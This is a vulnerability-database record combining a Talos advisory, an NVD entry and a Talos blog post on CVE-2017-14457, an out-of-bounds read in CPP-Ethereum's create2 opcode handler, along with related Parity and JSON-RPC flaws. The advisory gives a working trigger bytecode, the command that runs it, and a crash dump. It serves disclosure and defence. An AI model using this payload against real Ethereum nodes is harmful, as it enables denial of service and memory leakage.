{"talos": [{"lastseen": "2023-01-30T22:25:05", "description": "### Summary\n \n \n An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability. \n \n\n### Tested Versions\n\nEthereum commit 4e1015743b95821849d001618a7ce82c7c073768\n\n### Product URLs\n\n<http://cpp-ethereum.org>\n\n### CVSSv3 Score\n\n8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\n\n### CWE\n\nCWE-125: Out-of-bounds Read\n\n### Details\n \n \n CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the `create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.\n \n\nThe `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows:\n \n \n cpp-ethereum/libevm/VMCalls.cpp\n \n Line 133\tvoid VM::caseCreate()\n Line 134\t{\n Line 135\t\tm_bounce = &VM::interpretCases;\n Line 136\t\tm_runGas = toInt63(m_schedule->createGas);\n Line 137\t\tupdateMem(memNeed(m_SP[1], m_SP[2]));\n Line 138\t\tupdateIOGas();\n Line 139\n Line 140\t\tauto const& endowment = m_SP[0];\n Line 141\t\tuint64_t initOff;\n Line 142\t\tuint64_t initSize;\n Line 143\t\tu256 salt;\n Line 144\t\tif (m_OP == Instruction::CREATE)\n Line 145\t\t{\n Line 146\t\t\tinitOff = (uint64_t)m_SP[1];\n Line 147\t\t\tinitSize = (uint64_t)m_SP[2];\n Line 148\t\t}\n Line 149\t\telse\n Line 150\t\t{\n Line 151\t\t\tsalt = m_SP[1];\n Line 152\t\t\tinitOff = (uint64_t)m_SP[2];\n Line 153\t\t\tinitSize = (uint64_t)m_SP[3];\n Line 154\t\t}\n Line 155\n Line 156\t\t// Clear the return data buffer. This will not free the memory.\n Line 157\t\tm_returnData.clear();\n Line 158\n Line 159\t\tif (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)\n Line 160\t\t{\n Line 161\t\t\t*m_io_gas_p = m_io_gas;\n Line 162\t\t\tu256 createGas = *m_io_gas_p;\n Line 163\t\t\tif (!m_schedule->staticCallDepthLimit())\n Line 164\t\t\t\tcreateGas -= createGas / 64;\n Line 165\t\t\tu256 gas = createGas;\n Line 166\t\t\th160 addr;\n Line 167\t\t\towning_bytes_ref output;\n Line 168\t\t\tstd::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);\n \n\nIn pseudo code we can represent the opcode handler as follows:\n \n \n create2(endowment,salt,initOff,initSize)\n \n\nIts purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset. In above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At `line 168` we see that a new object of type `bytesConstRef` is created :\n \n \n using bytesConstRef = vector_ref<byte const>;\n \n libdevcore\\vector_ref.h\n Line 19\t/**\n Line 20\t * A modifiable reference to an existing object or vector in memory.\n Line 21\t */\n Line 22\ttemplate <class _T>\n Line 23\tclass vector_ref\n Line 24\t{\n \t\t(...)\n Line 33\t\t/// Creates a new vector_ref to point to @a _count elements starting at @a _data.\n Line 34\t\tvector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {}\t\n \n\nThe parameters being passed to the constructor for this are a pointer to a memory buffer `m_mem` and, as a size of this buffer, the `initSize` variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:\n \n \n Line 324\tbool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)\n Line 325\t{\n Line 326\t\tm_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));\n Line 327\t\treturn executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);\n Line 328\t}\t\n \n\nThe corrupted object in the function above is passed as an `_init` argument. The incorrect size of this object in that scenario can lead to: \\- A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function \\- A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.\n\nExample of opcodes triggering this vulnerability:\n \n \n 67FFFFFFFFFFFFFFFF600160006000FB\n \n\ndisassembling we get: 67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize` 60 01 PUSH 1 // initOff 60 00 PUSH 0 // salt 60 00 PUSH 0 // endowment FB CREATE2\n\n### Crash Information\n \n \n Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB\n [Thread debugging using libthread_db enabled]\n Using host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n \n Program received signal SIGSEGV, Segmentation fault.\n 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147\n 147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin\n (gdb) peda_active \n gdb-peda$ context\n [----------------------------------registers-----------------------------------]\n RAX: 0xf \n RBX: 0x798a6dbc7de82679 \n RCX: 0x1103ff1 --> 0x3f8000 \n RDX: 0x0 \n RSI: 0x8c887aede3bcb158 \n RDI: 0x23fe151d7b09c153 \n RBP: 0xe223193d3ce38d3f \n RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82 \n RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1])\n R8 : 0xb7239754a4040e21 \n R9 : 0x6c253a29078ce9a7 \n R10: 0xdea07427d1e5343 \n R11: 0x18 \n R12: 0xb22887a917e771ac \n R13: 0x82bfafeff33273bb \n R14: 0x7de51edb509fe189 \n R15: 0x8c6233ed3e52b5ca\n EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n [-------------------------------------code-------------------------------------]\n 0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78]\n 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87\n 0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>\n => 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]\n 0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl\n 0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1\n 0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>\n 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0\n [------------------------------------stack-------------------------------------]\n 0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82 \n 0008| 0x7fffffffaac8 --> 0xae440eb455ebc604 \n 0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158 \n 0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d \n 0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca \n 0040| 0x7fffffffaae8 --> 0xb7239754a4040e21 \n 0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7 \n 0056| 0x7fffffffaaf8 --> 0x821ae124af601e76 \n [------------------------------------------------------------------------------]\n Legend: code, data, rodata, value\n Stopped reason: SIGSEGV\n gdb-peda$ bt\n #0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147\n #1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 \"\", outlen=0x20, out=0x7fffffffad70 \"\") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171\n #2 dev::keccak::sha3_256 (out=0x7fffffffad70 \"\", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207\n #3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218\n #4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40\n #5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326\n #6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126\n #7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169\n #8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207\n #9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434\n #10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320\n #11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291\n #12 0x0000000000413c09 in _start ()\n \n\n### Timeline\n\n2017-11-03 - Vendor Disclosure \n2018-01-09 - Public Release\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.2}, "published": "2018-01-09T00:00:00", "type": "talos", "title": "CPP-Ethereum libevm create2 Information Leak Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-14457"], "modified": "2018-01-09T00:00:00", "id": "TALOS-2017-0503", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0503", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "cve": [{"lastseen": "2023-02-08T15:50:29", "description": "An exploitable information leak/denial of service vulnerability exists in the libevm (Ethereum Virtual Machine) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious a smart contract to trigger this vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.2}, "published": "2018-01-19T23:29:00", "type": "cve", "title": "CVE-2017-14457", "cwe": ["CWE-125"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-14457"], "modified": "2023-01-30T19:31:00", "cpe": ["cpe:/a:ethereum:ethereum_virtual_machine:-"], "id": "CVE-2017-14457", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-14457", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "cpe23": ["cpe:2.3:a:ethereum:ethereum_virtual_machine:-:*:*:*:*:*:*:*"]}], "talosblog": [{"lastseen": "2018-02-06T10:11:09", "bulletinFamily": "blog", "cvelist": ["CVE-2017-12112", "CVE-2017-12118", "CVE-2017-12119", "CVE-2017-14457", "CVE-2017-14460"], "description": "Vulnerabilities discovered by Marcin Noga of Cisco Talos. \n \n \n\n\n#### Overview\n\n \nTalos is disclosing the presence of multiple vulnerabilities in the CPP and the Parity Ethereum clients. \n \n**TALOS-2017-0503 / CVE-2017-14457** describes a denial of service vulnerability and potential memory leak in libevm. The function is not currently enabled in the default build. This vulnerability only affects nodes which have manually enabled it during build time. \n \n**TALOS-2017-0508 / CVE-2017-14460** is an overly permissive cross-domain (CORS) whitelist policy vulnerability in the Ethereum Parity client. It can lead to the leak of sensitive data about existing accounts, parity settings and network configurations, in addition to accounts and parity settings modifications, if certain APIs have been turned on. \n \nFurther on, **TALOS-2017-0464 - TALOS-2017-0471 / CVE-2017-12112 - CVE-2017-12119** describe multiple Authorization Bypass Vulnerabilities which an attacker could misuse to access functionality reserved only for users with administrative privileges without any credentials. \n \nFinally, Talos found **TALOS-2017-0471 / CVE-2017-12119**, another denial of service vulnerabilities in the CPP-Ethereum JSON-RPC implementation. A specially crafted json request can cause an unhandled exception resulting in a denial of service. \n \n \n**Table 1** gives a brief overview of important security related [JSON-RPC](<https://github.com/ethereum/wiki/wiki/JSON-RPC>) implementation details of the different Ethereum clients. Two of three clients are using sub-optimal implementations of the JSON-RPC interface. This leads to the serious security flaws which we are describing in detail below. \n \n[](<https://1.bp.blogspot.com/-XbgMY0UNDn8/WlTrjmF2oYI/AAAAAAAAA5c/6qTKOmDJ-oY33k2VWOq4OhoeARFByNEZgCLcBGAs/s1600/table1b.png>) \n--- \nTable 1 \n \n\n\n*Cross Origin Resource Sharing \n \n \n\n\n#### Details\n\n** \n****[TALOS-2017-0503](<https://www.talosintelligence.com/reports/TALOS-2017-0503>) / CVE-2017-14457** \n \nImproper handling of smart contract code in the create2 opcode handler can lead to a denial of service. An attacker could hand over a huge amount of data to the SHA1 function which would take a long time for computation. The vulnerability can be used to perform a denial of service attack on all nodes in the Ethereum network using this implementation of the virtual machine library function. It is also a potential memory leak, because read out of bound data is returned to the attacker as a contract address. This function is not enabled by default, it has to be enabled by running ethvm with the -network Constantinople switch. More details can be found in the [Talos vulnerability report](<https://www.talosintelligence.com/reports/TALOS-2017-0503>). \n \n**[TALOS-2017-0508](<https://www.talosintelligence.com/reports/TALOS-2017-0508>) / CVE-2017-14460** \n \nParity is a Rust based Ethereum client and one of the three most popular clients for the ethereum platform. It provides a rich JSON-RPC interface. This interface is turned on by default and exposes significant numbers of APIs. It comes with an overly permissive cross-domain (CORS) whitelist policy, which by default is set to '*'. Users running the Parity wallet visiting malicious websites are exposed to exploitation of this JSON-RPC daemon misconfiguration. This can lead to the leak of sensitive data about existing accounts, parity settings, network configurations, and to accounts\u2019 and parity settings modifications if certain APIs has been turned on. More details can be found in the [Talos vulnerability report](<https://www.talosintelligence.com/reports/TALOS-2017-0508>). \n \n**[TALOS-2017-0464](<https://www.talosintelligence.com/reports/TALOS-2017-0464>) \\- [TALOS-2017-0470](<https://www.talosintelligence.com/reports/TALOS-2017-0470>) / CVE-2017-12112 - CVE-2017-12118** \n \nImproper authorization vulnerabilities exist in different CPP Ethereum API in their JSON-RPC implementation. An attacker can send a malicious JSON request which can be used to access restricted functionalities in the following CPP Ethereum API, resulting in authorization bypass. \n \n**[TALOS-2017-0464 - admin_addPeer](<https://www.talosintelligence.com/reports/TALOS-2017-0464>)** \n**[TALOS-2017-0465 - admin_nodeInfo](<https://www.talosintelligence.com/reports/TALOS-2017-0465>)** \n**[TALOS-2017-0466 - admin_peers](<https://www.talosintelligence.com/reports/TALOS-2017-0466>)** \n**[TALOS-2017-0467 - miner_setEtherbase](<https://www.talosintelligence.com/reports/TALOS-2017-0467>)** \n**[TALOS-2017-0468 - miner_setGasPrice](<https://www.talosintelligence.com/reports/TALOS-2017-0468>)** \n**[TALOS-2017-0469 - miner_start](<https://www.talosintelligence.com/reports/TALOS-2017-0469>)** \n**[TALOS-2017-0470 - miner_stop](<https://www.talosintelligence.com/reports/TALOS-2017-0470>)** \n \nThis may enable a remote attacker to access functionality reserved only for users with administrative privileges without the need for using any credentials. This is especially critical, because the interface is bound to 0.0.0.0 (all available IP addresses) and exposed to the world. The Content-Type should be set to \u2018application/json\u2019 while sending requests, but this requirement is not enforced. This means that even if the JSON-RPC daemon is running on a machine behind a NAT gateway, the JSON-RPC API can still be easily exploited by CSRF or SSRF attacks. \n \nMore details can be found in the Talos vulnerability report linked above. \n \n**[TALOS-2017-0471](<https://www.talosintelligence.com/reports/TALOS-2017-0471>) / CVE-2017-12119** \n \nAnother denial of service vulnerability was found in the JSON-RPC server implementation of the CPP Ethereum client. Due to the lack of proper exception handling in some of the API an attacker may be able to send a malformed JSON package in order to crash the client/node. More details can be found in the [Talos vulnerability report](<https://www.talosintelligence.com/reports/TALOS-2017-0471>). \n \n \n\n\n#### Coverage\n\nTalos recommends Endpoint Security products such as Advanced Malware Protection(AMP) to mitigate client side exploitation of these vulnerabilities. \n \nThe following Snort Rules will detect exploitation attempts of some of these vulnerabilities. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or [Snort.org](<http://snort.org/>) \n \nSnort rules: 44707-44712, 44713\n\n[](<http://feeds.feedburner.com/~ff/feedburner/Talos?a=AiN5podsKns:sKl2q9ijDRk:yIl2AUoC8zA>)\n\n", "modified": "2018-01-09T16:20:13", "published": "2018-01-09T08:12:00", "id": "TALOSBLOG:B0D11FD8DA4E92C5F60226FDECD81A2B", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/AiN5podsKns/vulnerability-spotlight-multiple.html", "type": "talosblog", "title": "Vulnerability Spotlight: Multiple Vulnerabilities in the CPP and Parity Ethereum Client", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}